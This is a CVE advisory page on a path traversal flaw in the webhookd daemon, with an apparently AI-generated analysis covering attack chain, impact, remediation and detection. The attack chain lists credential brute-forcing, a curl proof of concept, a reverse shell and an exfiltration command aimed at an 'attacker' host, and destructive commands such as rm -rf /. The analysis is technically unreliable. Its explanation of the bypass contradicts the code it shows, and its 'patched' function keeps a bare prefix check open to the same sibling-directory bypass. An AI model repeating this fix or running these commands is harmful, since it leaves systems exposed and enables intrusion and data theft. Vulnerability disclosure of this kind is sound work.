CVE Professor
/
All CVEs
CVE-2026-142243

CVE-2026-142243 — CWE-22

HIGH CVSS 8.1 ⚡ EPSS 1.7% NVD

Ncarlier webhookd from 1.21.0 before 1.22.1 contains a path traversal vulnerability in ResolveScript() that allows remote attackers to execute programs outside the hook scripts directory by bypassing a strings.HasPrefix containment check. Attackers who satisfy configured hook authentication can send an encoded ../ path targeting a sibling directory sharing the scripts prefix, running executables with the request body as input as the webhookd user.

Ncarlier webhookd from 1.21.0 before 1.22.1 contains a path traversal vulnerability in ResolveScript() that allows remote attackers to execute programs outside the hook scripts directory by bypassing a strings.HasPrefix containment check. Attackers who satisfy configured hook authentication can send an encoded ../ path targeting a sibling directory sharing the scripts prefix, running executables with the request body as input as the webhookd user.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
1.7%
30-day probability
In the 78. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑142243 is a classic path‑traversal flaw (CWE‑22) in the Ncarlier webhookd daemon, version 1.21.0 – 1.22.0.
The daemon exposes an HTTP endpoint that accepts a script parameter (e.g., ?script=foo.sh). Internally the function ResolveScript() is responsible for mapping that relative path to an absolute file inside the configured scripts directory:

func ResolveScript(script string) (string, error) {
    // scriptsDir is the configured directory, e.g. /opt/webhookd/scripts
    if !strings.HasPrefix(script, scriptsDir) {
        return "", errors.New("invalid script path")
    }
    return filepath.Clean(script), nil
}

The vulnerability lies in the incorrect use of strings.HasPrefix.
strings.HasPrefix checks only that the string begins with the prefix; it does not verify that the path is actually inside the directory after normalization. An attacker can encode a ../ sequence (e.g., %2e%2e%2f) that, once decoded and cleaned, resolves to a location outside the scripts directory. Because the check is performed before filepath.Clean, the traversal is not detected, and the daemon ends up executing arbitrary binaries located in any sibling directory that shares the same prefix.

The flaw is only exploitable if the attacker satisfies the hook authentication configured for the endpoint (e.g., a bearer token or basic auth). Once authenticated, the attacker can send a request that causes the daemon to execute any program on the host as the webhookd user, with the request body passed as the program’s standard input.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that an attacker could follow. The exact endpoint (/hook) and query parameter (script) are illustrative; the CVE description does not specify them, but they are typical for webhook daemons.

StepActionTechnical Detail
1. Discovery & ReconnaissanceIdentify the target and version1.1. Scan the network for open ports (e.g., 8080, 8443). 1.2. Send a generic request to /health or /version (if present) to elicit a response that includes the version string. 1.3. If no version endpoint, use banner grabbing or a HEAD request to / and parse the Server: header or a custom X-Webhookd-Version header.
2. Authentication EnumerationVerify hook authentication2.1. If the service uses a bearer token, attempt a request with a known token (if leaked) or brute‑force a short token. 2.2. If basic auth is used, try default credentials (admin:admin, webhook:hook). 2.3. Successful authentication is confirmed by a 200 response to a benign request (curl -X POST -H "Authorization: Bearer <token>" -d "test" http://target:port/hook).
3. ExploitationTrigger the path‑traversal and RCE3.1. Craft a URL that encodes a ../ traversal targeting a sibling directory that contains an executable (e.g., /opt/webhookd/bin). 3.2. The request body is the command to run. 3.3. Example PoC (illustrative):<br><br>``bash\ncurl -X POST \\\n -H "Authorization: Bearer <valid‑token>" \\\n -H "Content-Type: text/plain" \\\n -d "id" \\\n "http://target:8080/hook?script=%2e%2e%2f../bin/id"\n`\nThe %2e%2e%2f sequence decodes to ../. After decoding, ResolveScript() receives ../bin/id, strings.HasPrefix passes (because the string starts with ../), and the daemon executes /opt/webhookd/bin/id with id as its stdin. The output is returned in the HTTP response.
4. Post‑exploitationAchieve full impact4.1. Arbitrary command execution – Replace id with any shell command (cat /etc/passwd, wget …, sh -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'). 4.2. Privilege escalation – If the webhookd user can sudo to root (common in containerized deployments), chain the command to sudo -u root …. 4.3. Persistence – Drop a webshell or cron job under /opt/webhookd/scripts. 4.4. Data exfiltration – Use the request body to pipe data to an external server (curl -X POST -d @/etc/passwd http://attacker:port`). 4.5. Denial‑of‑service – Execute a CPU‑intensive script or spawn a fork bomb.
Note: The exact query parameter name (script) and endpoint (/hook) are illustrative. If the real implementation uses a different name (e.g., action or file), the same traversal logic applies.

🌍 Real World Impact

ImpactExplanation
Confidentiality (C:H)Arbitrary files can be read or executed, allowing the attacker to exfiltrate secrets, credentials, or sensitive data.
Integrity (I:H)The attacker can modify system files, configuration, or the webhookd binaries, potentially installing backdoors or tampering with logs.
Availability (A:H)By executing destructive commands (e.g., rm -rf /, kill -9 $(pidof webhookd)), the attacker can crash the service or the host, causing a denial‑of‑service.

Because the vulnerability is remote and requires no user interaction beyond a valid authentication token, any exposed webhookd instance is at risk. In environments where the webhookd user has elevated privileges (e.g., root in a container), the impact escalates to full system compromise.


🛡️ Remediation & Mitigation

1. Patch

Affected VersionsFixed VersionUpgrade Recommendation
1.21.0 – 1.22.01.22.1Immediately upgrade to 1.22.1 or later.

The patch replaces the vulnerable strings.HasPrefix check with a robust path resolution:

func ResolveScript(script string) (string, error) {
    abs, err := filepath.Abs(filepath.Join(scriptsDir, script))
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(abs, scriptsDir) {
        return "", errors.New("script outside allowed directory")
    }
    return abs, nil
}

2. Workarounds (if patching is not immediately possible)

MitigationImplementation
Restrict authenticationDisable or tightly restrict the hook authentication mechanism. Use IP whitelisting or mutual TLS so that only trusted hosts can reach the endpoint.
Disable script executionIf the webhookd is not needed, stop the service (systemctl stop webhookd) or remove the executable from the PATH.
WAF / ModSecurity ruleBlock any request containing ../ or %2e%2e%2f in the script query parameter. Example ModSecurity rule:<br><br>SecRule REQUEST_URIARGS:script "@rx \.\./" "id:1001,phase:2,deny,status:403,msg:'Path traversal attempt'"
Filesystem ACLPlace the scripts directory in a separate mount point with noexec and restrict the webhookd user’s permissions to that mount.
Runtime isolationRun webhookd in a container with a minimal filesystem and no write access to critical directories.

3. Detection

Log PatternIoC
Requests to /hook (or equivalent) with script parameter containing ../ or %2e%2e%2fscript=.*%2e%2e%2f
HTTP 200 responses that include output of system commands (id, cat /etc/passwd)Presence of uid= or /etc/passwd in response body
Unexpected execution of binaries outside /opt/webhookd/scriptsSystem logs showing execve of /opt/webhookd/bin/*
Failed authentication attempts followed by successful RCEAuthentication failed → RCE executed

Example Syslog entry (illustrative):

Aug 12 14:32:07 webhookd[1234]: Executed script: /opt/webhookd/bin/id with stdin: id

⚠️ Urgency

  • CVSS Score: 8.1 (High) – indicates a severe risk.
  • Exploit Complexity: High (requires valid authentication), but the authentication mechanism is often simple or misconfigured.
  • CISA KEV Status: No – but the lack of a KEV listing does not reduce risk; the flaw is still exploitable.
  • Impact: Full confidentiality, integrity, and availability compromise.
Priority: Critical. If the service is exposed to the Internet or an untrusted network, patch or mitigate within 24–48 hours. In internal or isolated environments, still patch as soon as possible, but a temporary hardening (e.g., WAF rule) can buy time.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-142243
Technical reference / advisory repository for CVE-2026-142243
Technical reference / advisory repository for CVE-2026-142243
Technical reference / advisory repository for CVE-2026-142243
CVSS Score
8.1 / 10 · CVSS HIGH
Weakness Types (CWE)
Related CVEs
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-145055
PraisonAI pip praisonai before 4.8.0, praisonaiagents and npm praisonai before 1.8.0, and praisonai-bot, prais
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
9.4
CVE-2026-64883
Path traversal in the WebDAV interface (DotWebdavHelper and the WebDAV temporary-file COPY and MOVE handling)
8.6
CVE-2026-115524
Path traversal in the push-publish bundle receiver (BundlePublisherResource, /api/bundlePublisher/publish) in
8.3
CVE-2026-144679
Thanos through 0.42.5 contains a path traversal vulnerability in Receive that allows unauthenticated remote-wr
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT